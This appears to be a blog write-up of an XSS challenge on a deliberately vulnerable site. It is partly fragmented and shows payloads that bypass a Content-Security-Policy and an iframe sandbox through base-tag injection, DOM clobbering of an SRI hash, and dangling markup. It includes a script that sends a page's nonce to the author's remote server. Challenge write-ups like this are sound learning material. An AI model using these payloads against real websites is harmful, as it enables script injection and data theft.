A technical XSS challenge writeup of call alert(origin) function on wacky.buggywebsite.com bypassing Content-Security-Policy and escaping an iframe sandbox.
wacky.buggywebsite.com is a web application that takes a message and creates an amazing full-colored text (colored text like this... is not every ones cup of tea!):
In order to do this, the Wacky web application includes another page "frame.html" inside an
iframe HTML tag. This web application puts the user's text inside
param querystring argument.
frame.html/?param=... querystring argument's value is reflected inside the page's
Anyway, before trying to inject something on
param querystring argument, I need to include "frame.html" inside an
iframe. So, I can include the page itself by injecting an
iframe HTML tag with the
name attribute having value "iframe" using the following payload:
alert(origin) function to solve the challenge.
src attribute of injected iframe, I tried without success this:
files/analytics/js/frame-analytics.js without specifying the base URI:
This file is included with the
So, basically I can try to makes the brwoser load "frame-analytics.js" file from my webserver (I'll use my test blog.b000t.com domain) by injecting a
<base href=""> HTML tag, and then I can try exploit the DOM Clobbering technique to overwrite the
fileIntegrity.value by injecting an HTML tag with id "fileIntegrity" and an arbitrary hash value that is converted to an HTMLCollection and could overwrite the
You can generate SRI hashes from the command-line with openssl using a command invocation such as this:
cat frame-analytics.js | openssl dgst -sha256 -binary | openssl base64 -A
In my case, the injected payload becomes:
</title><base href='//blog.b000t.com'><textarea id='fileIntegrity'>KtpYtKZPdA1nxdIyn2gcsBgZPKyhF+Smemo/SjahoLk=</textarea>
console.log("ok"). Let's try:
Ok, now I'm able to load the
The problem now is that "frame-analytics.js" is loaded inside an
iframe tag with the
sandbox attribute configured with
allow-scripts allow-same-origin options. In order to call the
allow-modal option and if I try to replace my
console.log("ok") with a
alert(origin) this is the result:
Ok, from here I’ve complicated a bit all the exploiting process (as usual). Here you can just call
alert from the top window object, something like:
window.top.alert(origin). For some reason I didn’t and I started to find a way to steal the nonce random string to bypass CSP...
My idea is to create a new
<script> element outside the sandboxed
iframe (using something like
Dangling markup is a technique to steal the contents of the page without script by using resources such as images to send the data to a remote location that an attacker controls. It is useful when reflected XSS doesn't work or is blocked by Content Security Policy (CSP). The idea is you inject some partial HTML that is in an unfinished state such as a src attribute of an image tag, and the rest of the markup on the page closes the attribute but also sends the data in-between to the remote server.
I want to change my injection payload adding a new HTML tag (pippo) with an unclosed attribute (asd):
</title><base href='//blog.b000t.com'><textarea id="fileIntegrity">hash</textarea><pippo asd='
var guessednonce = window.top.document.getElementsByTagName("iframe").contentDocument.getElementsByTagName("pippo").attributes.name.substring(0,12) script = document.createElement('script'); script.setAttribute('src', 'asd.php?nonce='+guessednonce); document.body.appendChild(script);
window.top.document object and then select
pippo element from it and get the list of attributes names:
asd.php?nonce='+guessednonce. Actually, the remote script is a PHP script on my webserver. Let's try to reload:
$_GET["nonce"] and use it to create another <script> element with the correct nonce attribute. Here is it:
Ok, now my browser tries to load "end.js" from my remote webserver. So, I can finally put
alert(origin) inside it and let execute it:
This is just my solution, I really don't know if it's the easiest way to solve it or if there're other ways for solving it. If you have different solutions, please let me know by tagging me on Twitter @AndreaTheMiddleFollow @AndreaTheMiddle